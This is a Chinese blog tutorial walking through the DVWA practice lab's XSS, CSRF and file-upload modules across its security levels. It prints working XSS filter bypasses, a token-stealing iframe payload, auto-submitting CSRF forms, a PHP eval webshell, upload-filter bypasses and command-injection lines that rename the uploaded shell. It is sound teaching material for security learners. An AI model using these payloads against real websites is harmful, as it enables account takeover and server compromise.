目录
DVWA(Damn Vulnerable Web Application)
DVWA(Damn Vulnerable Web Application)
一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。通常将演练系统称为靶机。
DVWA的4种安全级别:
low:对爆破攻击行为毫无设防
medium:对爆破攻击行为防护不足,防护做法欠考虑
hight:对爆破攻击行为有一定防护,但有疏忽
impossible:对爆破攻击行为正确防护
DVWA共有十个模块,分别是:
1.Brute Force(暴力(破解))
2.Command Injection(命令行注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA (不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站脚本)
10.XSS(Stored)(存储型跨站脚本)
DVWA靶机:
DVWA环境搭建
推荐一位博客的安装配置教程文章,在这里就不多讲了:
DVWA安装教程(懂你的不懂·详细)_dvwa安装教程 site:blog.csdn.net-CSDN博客
DVWA Script标签
<script>标签用于定义客户端脚本,eg、JavaScript
<script>alert(1);</script>
<script>alert("XSS");</script>
#alert() 显示一条弹出提示消息和确认按钮的警告框
——alert()是阻塞的函数,如果不点确认按钮,后面内容不会加载出来
XSS 跨站脚本攻击
跨站脚本攻击(Cross Site Scripting) ——代码注入的一种
恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的
———可得到很高权限(eg执行某些操作)、私密网页内容、会话和cookie等各种内容
注:cookie:所谓“cookie”数据是指某些网站为了辨别用户身份,储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。
——类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息
XSS 攻击原理及分类
XSS 漏洞行成原理
后端服务器没有对前端输入的数据进行控制、过滤等,然后又将数据输出页面表,并且也没有进行控制、转译等,导致“精心购造”的JavaScript代码在输入后被浏览器当做有效代码解析执行从而产生危害
====》防止攻击时,一般从输入和输出两方面进行控制(过滤信息)
XSS攻击分:反射型、存储型、DOM型
反射型XSS
非持久性XSS,攻击方式一次性,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
经过后端,不经过数据库,多用于盗取用户的Cookie信息
攻击者通过电子邮件等方式将包含XSS代码(Script代码)的恶意链接发送给目标用户,目标用户访问链接时,服务器收到并处理请求,将带有XSS代码的数据发送给目标用户的浏览器,浏览器解析具有XSS代码的恶意脚本后,就会触发XSS漏洞。
eg、<script>alert('hack')</script>
存储型XSS
持久型XSS,攻击脚本永久存放在目标服务器的数据库或文件中,很高的隐蔽性,多见于论坛、博客、留言板等
经过后端,经过数据库,容易造成蠕虫,盗窃cookie
注:蠕虫病毒:蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机
发帖过程中,将恶意脚本及正常信息注入帖子。帖子被存储,恶意脚本也被永久存储在服务器后端的存储器中。用户浏览被注入恶意代码的帖子时,恶意脚本会在浏览器中执行。
eg、<script>alert(/hacker by hacker/)</script>)
DOM型XSS
DOM(Document Objeet Model):使用DOM可使程序和脚本能够动态访问和更新文档的内容、结构及样式。
特殊类型的反射型XSS,基于DOM文档对象模型的漏洞,和反射型xss及存储型xss不同的是,DOM型xss不经过服务端,只在前端执行,通过url传入参数去控制触发的漏洞,不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题==>一次性的、也属于反射型
客户端脚本程序可通过DOM动态修改页面内容,从客户端获取中DOM的数据并在本地执行。DOM在客户端修改节点=》所以基于DOM型的XSS漏洞不需要与服务器端交互,只发生在客户端处理数据的阶段。
用户请求一个经过专门设计的URL(由攻击者提交),其中包含XSS代码,服务器的相应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个相应时,DOM对象会处理XSS代码,导致XSS漏洞
eg、<img src=1 οnerrοr=alert('hack')>
XSS 漏洞演示
XSS reflect反射型演示
low
1、选择安全等级
2、查看源代码发现没有任何的安全过滤措施
3、尝试攻击 ——一般XSS攻击
alert() 显示一条弹出提示消息和确认按钮的警告框
<script>alert('hack')</script>:用此代码进行一般XSS攻击
点击Submit(等搜索框的恶意链接)后触发XSS反射型恶意代码
Medium
- 选择安全等级
- 查看源码发现这里使用str_replace函数对参数进行了简单的替换,过滤
3、大小写绕过攻击
有安全过滤措施,我们使用大小写进行绕过过滤
<Script>alert('知己安全')</script>
#注意:必须前面的script至少有一个大写才能绕过成功,后面的script可大写可不大写(大写总个数不限制)
eg、<SCriPt>alert('知己安全')</scRipT> ——正确
但<script>alert('知己安全')</sCrIpt> ——错误
High
- 选择安全等级
- 查看源代码发现他这次使用了preg_replace正则表达式对<script>标签进行了严格的过滤。
3.解决方案:用别的标签代替即可例如img,进行攻击
Impossible
1、选择安全等级
2、impossible中文翻译为不可能的,虽然不可能但是咱还是来试一试,首先查看后台源码
看到使用了htmlspecialchars函数对参数进行html实体转义,就是说把我们输入的代码直接打印出来而不会被当成js脚本去执行,看到这个就已经说明无法利用XSS漏洞了
XSS Stored存储型演示
Low
- 选择安全等级
2.查看PHP源代码
3.尝试攻击
<script>alert('hack')</script>:用此代码进行一般XSS攻击
Sign Guestbook后:
且每次刷新该页面都会显示该弹窗
Medium
- 选择安全等级
- 查看PHP源代码
多了两行进行了过滤、替换,使用大小写、双写均不能绕过
#注:存在过滤<script>标签,所以注入时需要将前面<script>标签进行至少一个字母大写
3、Medium用大小写绕过仍然失败,查看源码发现这里使用htmlspecialchars函数对Massage参数进行了html实体转义,这个场景XSS Reflected(low、medium、high、Impossible)中的Impossible相同,故这里直接避开这个玩意,改在name里写入脚本。
字符限制不能在name中输入完整脚本=》为前端限制
=》用F12改限制,把值10改为100
之后再输入代码:<Script>alert(‘zj’)</script>
#注:前面必须至少1个大写,后面大不大写均可(查看源代码有过滤<script>标签)
High
1、选择安全等级
2、查看PHP源代码
这次直接在name用正则表达式把咱的script给过滤了,采用直接改个标签进行攻击(这里记住输入之前像medium中那样改一下字符限制)
发现有长度限制,进行修改
ctrl+s:保存更改
Impossible
1、选择安全等级
2、查看PHP源代码
————直接把两个输入点都给html实体转义了
3、使用了htmlspecialchars函数对参数进行html实体转义,就是说把我们输入的代码直接打印出来而不会被当成js脚本去执行,看到这个就已经说明无法利用XSS漏洞了
CSRF 跨站请求伪造
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF
CSRF 攻击原理及分类
CSRF(Cross-site Request Forgery,跨站请求伪造,或称XSRF)是一种针对网站的恶意利用。
CSRF攻击:在CSRF攻击场景中,攻击者会伪造一个请求(一般是一个链接),然后欺骗用户进行点击,点击完成则攻击完成==》也称为“one click”攻击
CSRF可以做什么:
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全
#注:cookie是由服务器发送给客户端(浏览器)的小量信息,cookie的小量信息能帮助我们跟踪会话。一般该信息记录用户身份。当然cookie也常记录跟踪购物车的商品信息(如数量)、记录用户访问次数等
1、漏洞原因:
CSRF攻击可以利用用户已经登陆或已经授权的状态,伪造合法用户发出请求给受信任的网点,从而实现在未授权的情况下执行一些特权操作。
2、防护:
(1)增加二次验证机制
在敏感操作时候,不再直接通过某个请求执行,而是再次验证用户口令或者再次验证类似验证码等随机数。如:转账时,要求用户二次输入密码
(2).验证访问来源 referrer
校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中,定义了一个访问来源的字段,即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接,则Referer就为攻击者的主机,与网站内部内部跳转情况下的Referer字段不同
(3)验证随机token参数
在敏感操作的参数中,增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是,进行敏感操作时用户每次发送的请求都完全相同。因此,攻击者就可以把这样的请求进行封装包裹,诱导用户点击链接并发出请求。而如果在进行敏感操作时,增加完全随机的Token参数,每次进行敏感操作时发送的请求都不完全相同,攻击者也就没有办法伪造出一个合法的敏感操作请求,也就无法实施CSRF攻击。
XSS与CSRF区别:
XSS攻击是利用受信任的站点攻击客户端用户,而CSRF是伪装成受信任的用户的请求来攻击受信任的站点。===》XSS盗取权限破坏,而CSRF借用户权限破坏
举例:
A:攻击者 B:被攻击者
XSS攻击:
1、欺骗B访问XSS脚本(盗取cookie的脚本)的页面
2、B中招,A盗取到B的cookie
3、A顺利登陆到B的后台,A修改B的相关信息
盗取用户资料,登录账号、挖网银账号、利用用户身份盗取、篡改、添加、删除数据等,盗窃商业价值资料、非法转账、强制发送电子邮件
CSRF攻击:
A构造后台请求地址,诱导B点击或者通过某些途径自动发起请求,利用B在被攻击网站已经获取的登录凭证信息,绕过后台的用户验证,达到冒充B对被攻击网站执行某些操作目的
CSRF攻击重点:
- 目标用户已经登录了网站,能够执行网站的功能
- 目标用户访问了攻击者构造的URL
即要完成一次CSRF攻击,受害者必须依次完成两个步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.在不退出A的情况下,访问危险网站B。
目标转账生成了http请求(其类似于http://www.xxbank.com/pay.php?user=xx&money=100),而攻击者构造的链接(http://www.xxbank.com/pay.php?user=hacker&money=100),目标访问该url后,自动向hacker账号转账100,,且致设计目标用户操作,攻击者没有获取用户的cookie或其他信息
CSRF 分类
1、Get型
——只需要构造URL,然后诱导受害者访问利用。
仅仅须要一个HTTP请求,就能够构造一次简单的CSRF。GET型是CSRF攻击最常发生的情形
样例:
1、银行站点A:它以GET请求来完毕银行转账的操作,如:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
2、危险站点B:它里面有一段HTML的(URL)代码例如以下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先。你登录了银行站点A,然后访问危险站点B,噢,这时你会发现你的银行账户少了1000块。
为什么会这样呢?原因是银行站点A违反了HTTP规范,使用GET请求更新资源。
在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作…
原本这是:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行站点服务器收到请求后,觉得这是一个更新资源操作(转账操作),所以就立马进行转账操作。
如果一个网站某个地方的功能,比如用户修改邮箱是通过GET请求进行修改的。如:/user.php?id=1&email=123@163.com ,这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ,然后通过各种手段发送给被攻击者,诱使被攻击者点击我们的链接,当用户刚好在访问这个网站,他同时又点击了这个链接,那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
2、POST型
POST请求是要把参数放在http的请求body里发送给服务器==》POST类型的CSRF攻击需要用post的方式发送请求==》创建(静态创建或动态创建)一个自动提交的表单。当用户点击或浏览有这样表单的网页就会自动发生CSRF攻击
错误观点(csrf攻击不能由post引起)形成的原因:大多数CSRF攻击发起时,使用的HTML标签都是<image>、<iframe>、<script>等带“src"属性的标签,这类标签只能够发起一次GET请求,而不能发起POST请求。
1)、对于一个表单来说,用户往往也就可以使用GET方式提交参数。比如以下表单:(post、GET型,未区分)
<form action=" / register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
用户可尝试构造一个GET请求:
http: //host/register/?username=test&password=passwd
来提交,若服务器端未对请求方法进行限制,则这个请求会通过。
2)、如果服务器端已经区分了GET与POST,对于攻击者来说,有若干种方法可以构造出一个POST请求。(POST型)
最简单的方法,就是在一个页面中构造好一个表单,然后使用JavaScript自动提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:
<form action="http://www.a.com/register"id="register" method="post" ><input type=text name="username" value=""/>
<input type=password name="password" value=""/><input type=submit name="submit" value="submit"/></ form>
<script>
var f = document.getElementById ( "register");
f.inputs [0].value = "test";
f.inputs [1].value = "passwd" ;
f.submit ();
</script>
攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。
在2007年的Gmail CSRF漏洞攻击过程中,安全研究者pdp展示了这一技巧。首先,用户需要登录Gmail账户,以便让浏览器获得Gmail的临时Cookie。
(1)、用户登录Gmail
(2)、然后,攻击者诱使用户访问一个恶意页面。
#在这个恶意页面中,隐藏了一个iframe,iframe的地址指向pdp写的CSRF构造页面。
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewtljmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinboxmailinator.com&cfl_from&cfl_toucf1_subjicf1_has&cfl_hasnotscf1_attach=truestfi&S=z&irf=on&nvp bu_cftb=Create%20Filter
#这个链接的实际作用就是把参数生成一个POST的表单,并自动提交。
(3)、由于浏览器中已经存在Gmail的临时Cookie,所以用户在iframe中对Gmail发起的这次请求会成功―—邮箱的Filter中会新创建一条规则,将所有带附件的邮件都转发到攻击者的邮箱中。
恶意站点通过CSRF在用户的Gmail账号中建立一条规则。
#再举一个例子:
在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常但又不正常的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。
比如:
/coures/user/handler666buy.php</font>
通过提交表单,buy.php处理购买的信息,这里的666为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容:
<form action=/coures/user/handler/666/buy method=POST>
<input type="text" name="xx" value="xx" />
</form>
<script> document.forms[0].submit(); </script>
当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为666的视频,从而导致受害者余额扣除。
CSRF 环境:
火狐下载、开启代理:FoxyProxy
1、burpsuite证书导入火狐浏览器
2、burpsuite抓包时需要相应的foxyproxy standard扩展插件
——(火狐下载、开启代理:FoxyProxy)
CSRF 漏洞演示
low
法1 --复杂
1、选择安全等级
2、点Test credentials(测试凭据),输入默认账号密码=》测试密码、账号是否有效
系统默认账号:admin
系统默认密码:password
3、打开火狐代理
4、打开burpsuite开启抓包
5.在New-password和confirm new password中输入相同新密码,提交修改密码请求==》直接修改密码,没有任何对CSRF的防御==》修改为12345678
密码修改成功(系统初始默认密码为password)
且其链接显示为:
6、选择CSRF Poc,生成一段payload
英文显示:
7、将这个html文件的两个密码都改成(想改成的密码)8888,点击用浏览器测试,复制URL并用浏览器打开。
8、关闭代理(放包),浏览器打开,点击submit
9、网页自动转到页面,测试发现密码已改为8888
法2 --简单
1.修改密码为12345678
2.复制网页链接到新浏览器页面,在搜索框将密码修改为8888
3.验证密码修改成功为8888
Medium
medium难度增加了一个对Referer的验证,即用户的请求头中的Referer字段必须包含了服务器的名字。
Referer: http://192.168.5.81/dvwa/vulnerabilities/csrf/ 请求包必须来源与这个referer
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是虚拟机的物理地址)我们可以将攻击页面命名为[虚拟机地址].html (页面被放置在攻击者的服务器里,这里是我的物理机地址)就可以绕过了。
1.打开火狐代理
2.打开burpsuite抓包
3.修改密码为12345678,复制生成的链接
4.将复制的连接新页面打开,在新页面连接上修改密码,发现修改不成功
验证密码,发现密码不为8888:
5.修改密码为12345678,抓取修改时的包===》寻找为什么中级不能用初级的方式进行CSRF攻击
查看源代码,中级难度,增加了Referer的验证:
stripos()函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
代码检查了保留变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)
6.抓取修改密码为12345678时的包,对比新窗口复制修改密码为8888时抓的包
DVWA中修改密码为12345678时:
===》正常页面的包是有Rererer表名来源的。
复制链接,修改链接中密码显示,新窗口打开时抓到的包:
7.将正常页面中的referer链接复制复制到修改密码8888的包中
Referer:http://localhost/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change
将复制的referer密码信息修改为8888,并放入到修改网址中密码为8888时抓的包中:
Referer信息修改:
Referer:http://localhost/dvwa/vulnerabilities/csrf/?password_new=8888&password_conf=8888&Change=Change
==》修改后放入抓取修改密码为8888的包中
8.放包,发现网页显示修改成功
High
验证token机制:每次修改密码需要提交服务器生成的随机的token参数。
绕过思路:在代码层面发跨站请求动态获取user_token,再发跨站请求修改密码。
1、查看源码,发现多了动态user_token验证==》如果网站或系统存在XSS漏洞,可以结合xss漏洞来获取user_token,构造网站,实现攻击
2、初始密码设置为12345678,抓包查看,含token验证机制,发现正常包均含有token信息
3.存储型XSS中txtname框输入,因为有字数限制,所以需要拦截后更改。
拦截:
有字数限制,先修改长度 :
将以下代码,放置于再次改密拦截high XSS的包中:
txtName=<iframe src="../CSRF" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
即:将<iframe src="../CSRF" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
放入txtName中,替换掉Name原值
4、放包后即可获取网站的user_token ——因为是存储型XSS,其token具有长效性,不会随时效更改,得到token后再抓包修改CSRF hign的token值和password,最后放包即可利用CSRF漏洞和存储型XSS漏洞修改密码: ——
总结:
个人思考:
通过反射型XSS完成CSRF的攻击应该是不现实的,因为获取的token是一次性的,如果受害者在点击此构造网站之前随便访问了原网站的其他信息,或者token被消耗更新,token就会改变,因此,结合反射型XSS的CSRF攻击在现实中很容易失去有时效性的token。所以只能配合存储型的XSS,在构造网站的时候需要先跳转至XSS模块利用此漏洞获取token,然后才将修改密码表单发送,这个html网站的构造我还没有实现。
Impossible
打开Impossible级别我们就发现这里多了一个输入当前密码的输入框,这样就可以确定进行当前操作的是用户本人,但是这样确是以牺牲一定的用户体验换来的安全保障。
这里不仅使用了Anti-CSRF token检验来杜绝一定上的CSRF漏洞的利用,还要求输入当前密码来确定执行此操作的是否为用户本人,并且对当前密码进行了SQL注入的防御。基本杜绝了恶意用户的攻击。
CSRF总结:
Low:
接收两个GET参数,将密码拼接在Url后,引导用户访问即可从URL得到用户密码,无同源策略限制。引导方法:
A.发邮件、转短信链接隐藏地址,但是会进入修改成功的提示页,用户会有所察觉;
B.构造攻击页面,插入<img src='改密url'/>标签, 用户访问时,浏览器加载图片时自动修改密码。
Medium:
同上,只是增加了HTTP_REFERER的限制,无同源限制。
在构造的链接上缀上参数即可: abc.com/test.html?hello=[SERVER_NAME~balabala]
High:
增加了Token的限制,使用session中的token进行回话验证。
需要获取Token后才能模拟请求,登录后才能访问该页面获取token,但是浏览器有同源策略限制。 ——访问用户ip
在同源策略下abc.com域名的网页无法访问localhost的cookie,也就无法获取到页面的token。
需要配合xss漏洞,在xss页面注入js实现改密操作。
Impossible:
使用Token验证,并增加了旧密码的验证。
不知道旧密码则无法修改,彻底防御了csrf;使用token+同源策略防止了暴力重试。
文件上传漏洞
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回
如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网;
Webshell是黑客经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等
文件上传 攻击原理及分类
上传漏洞原理:
文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限
编辑一句话木马:
pass.php文件添加:<?php @eval($_POST['pass']);?>
其中:
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['pass']表示从页面中获得pass这个参数值。
low
1.查看网页源代码-没有任何过滤
——low级别未对上传的文件进行任何验证,可以上传任意类型的文件
2.新建记事本,输入以下代码,此段php语句表示用post方式获取pass的参数
===》编写简单的webshell脚本(一句话木马文件)
=》可以换位get方式获取参数,eg、<?php @eval($_get['cmd']);?>
3.上传文件,将编辑好的webshell脚本上传上去
../../:是表示上传后的文件目录是在hackable上两级的目录中
4、使用上传后的文件目录进行注入
即木马地址为:
http://localhost/dvwa/hackable/uploads/cmd.php
5、直接打开木马文件http://localhost/dvwa/hackable/uploads/cmd.php访问成功,但没有显示任何内容(因为是php文件)
6、安装中国蚁剑,并初始化
https://blog.csdn.net/leiwuhen92/article/details/128659049
7、通过中国蚁剑连接工具(或者中国菜刀)将url添加进去,密码为pass:
8、打开文件管理,进入后台
双击:
进入后台成功:可以找到信息,且双击点开即可查看后台文件的详细信息=》即文本详细信息,即PHP文件信息
Medium
1、选择medium难度,使用相同webshell,按初级方法直接上传漏洞,发现上传不了
2、查看源代码
Medium级别对文件类型作出了过滤,反馈信息提示平台只接受JPEG或者PNG的文件且限制大小不能超过100000B(约为97.6KB)
法1 --burpsuite绕过
3、相同包上传时,抓包查看尝试
4.将Content-Type后内容修改为:为image/png或image/jpeg等均可,修改后放包
文件上传成功
法2 --00截断
3、将木马文件pass.php改名为pass.php.jpeg
4.上传pass.php.jpeg,同时开启burpsuite捕获
切换到Hex进制,将pass.php.jpeg截断为pass.php:
插入后:
5、点击“forward”, 也可将pass.php成功上传:
High
High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg、.jpeg 、.png之一
- 选择high难度,查看网页源代码
读取尾部.后字符串文件后缀
burpsuite绕过
2、copy命令将木马文件c.php与图片文件e.png合并为t.png
windows上(关闭实时防护)使用copy命令:copy test.jpg/b+pass.php/a php.jpg
linux上:cat pass.php >> test.jpg
3、记事本方式打开查看
记事本查看或cat t.png查看,发现图片尾部可查看到代码
5.将php.jpg文件上传,成功
--发现可以正常访问,但是只会返回静态内容,文件不会被执行。
上传成功后,但是蚁剑连接不成功,因为,图片里的php代码没有被解析,所以,通过命令注入去解析contest.png。
6、用命令注入方式来查看该目录(Command Execution):
调整dvwa的等级为low,在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads
command injection即命令注入,是指恶意用户通过构造请求,对于一些执行系统命令的功能点进行构造注入,本质上是数据与代码未分离。对于特殊的需求没有对请求进行过滤,导致绕过从而导致注入。
7、然后通过命令注入方式输入以下命令来进行更改文件后缀
127.0.0.1|mv ../../hackable/uploads/t.png ../../hackable/uploads/end.php
再执行127.0.0.1|ls ../../hackable/uploads查看:
9.中国蚁剑查看,指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php,参数为cmd,类型为PHP(eval):
最后,文章中有些是我在网络上找的资料,但是由于查找时间久远,我没有记载参考文章的链接,如果有涉及您博客的内容,可以联系我在此添加您博客的链接!!也希望我能和大家相互学习!!